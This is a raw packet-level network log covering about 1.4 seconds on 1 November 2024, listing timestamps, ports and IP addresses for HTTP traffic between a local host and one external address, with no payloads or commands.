Nov 1, 2024 08:51:23.297883987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297894001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297899961 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.297905922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297921896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297934055 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297935009 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.297945023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297945023 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.297955990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.297964096 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.297988892 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.385767937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.385780096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.385790110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.385867119 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.385894060 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.387820959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.387839079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.387885094 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.387900114 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.387926102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.387934923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.387975931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.415455103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415507078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415518045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415529966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415539026 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.415549040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415559053 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415565014 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.415570974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415581942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415599108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415611982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415621996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.415625095 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.415646076 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.415673971 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.456619978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.456629038 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.456688881 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.503238916 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.503267050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.503285885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.503297091 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.503319025 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.503339052 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.503340006 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.503381968 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.505526066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.505567074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.505577087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.505580902 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.505603075 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.505630970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.532949924 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.532969952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.532979012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533016920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.533041000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.533052921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533063889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533077955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533109903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533109903 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.533123016 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533126116 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.533134937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533147097 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.533169985 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.533200026 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533210993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.533240080 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.533258915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.574764967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.574779034 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.574807882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.574826956 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.574826956 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.574855089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.620994091 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.621021032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.621032953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.621051073 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.621069908 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.621078968 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.623130083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.623142958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.623155117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.623191118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.623223066 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.650849104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.650892019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.650903940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.650907040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.650929928 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.650957108 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.650960922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.650979996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.650994062 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.651005030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.651010036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.651016951 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.651019096 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.651029110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.651041985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.651048899 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.651051998 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.651063919 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.651088953 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.692414999 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.692429066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.692440987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.692490101 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.692514896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.738742113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.738755941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.738766909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.738802910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.738821983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.740914106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.740931988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.740946054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.740971088 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.740984917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.768529892 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.768553019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.768564939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.768616915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.768635988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.768639088 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.768657923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.768670082 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.768681049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.768695116 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.768695116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.768718958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.768718958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.768731117 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.808636904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.808649063 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.808660030 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.808691025 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.808706999 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.959974051 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.959995985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960009098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960028887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960042000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960048914 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960053921 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960071087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960082054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960092068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960103989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960103989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960115910 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960124969 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960127115 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960136890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960148096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960151911 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960160971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960174084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960175991 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960187912 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960197926 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960218906 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960226059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960237980 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960244894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.960413933 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.960413933 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.973977089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.973987103 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.974030972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.976917982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.976927042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.976938009 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.976948023 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:23.976974964 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:23.977010965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.006712914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.006726027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.006736040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.006778955 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.006814957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.045337915 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.045387983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.045401096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.045412064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.045439959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.045459032 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.046014071 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.046061039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.046066046 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.046076059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.046113968 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.077370882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.077380896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.077430010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.094489098 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.094501019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.094506979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.094590902 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.122896910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.122925043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.122937918 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.122980118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.123009920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.162441015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.162455082 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.162467003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.162489891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.162503958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.162517071 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.162518978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.162544012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.162591934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.163652897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.163666010 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.163677931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.163707972 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.163738012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.212025881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.212035894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.212048054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.212059021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.212093115 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.212130070 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.240381002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.240396976 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.240408897 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.240434885 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.240474939 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.252816916 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.252827883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.252881050 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.252916098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.280293941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.280306101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.280318975 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.280328989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.280342102 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.280343056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.280385017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.281169891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.281196117 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.281208038 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.281244993 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.281269073 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.329853058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.329864979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.329876900 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.329920053 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.329967976 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.357796907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.357810974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.357820988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.357831955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.357870102 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.357903957 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.397723913 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397767067 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397778034 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397806883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.397818089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397829056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397847891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397861004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397864103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.397864103 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.397891045 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.397897959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397912025 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397922993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.397923946 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.397943974 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.397962093 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.397985935 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.398783922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.398797035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.398809910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.398843050 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.398875952 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.447916031 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.447927952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.447992086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.448009968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.448065996 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.475584984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.475606918 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.475616932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.475651979 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.475714922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.516025066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516098022 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516104937 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.516108990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516119957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516134977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.516161919 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.516165972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516179085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516191006 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516200066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516217947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.516269922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.516489983 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516509056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516542912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.516567945 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.516567945 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.516618967 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.565072060 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.565120935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.565133095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.565136909 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.565195084 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.565195084 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.593333960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.593348980 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.593362093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.593482018 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.636168003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.636197090 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.636209965 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.636238098 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.636265993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.636266947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.636279106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.636290073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.636310101 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.636317968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.636332035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:24.636348009 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.636373997 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:24.636390924 CET	80	57660	185.215.113.16	192.168.2.4
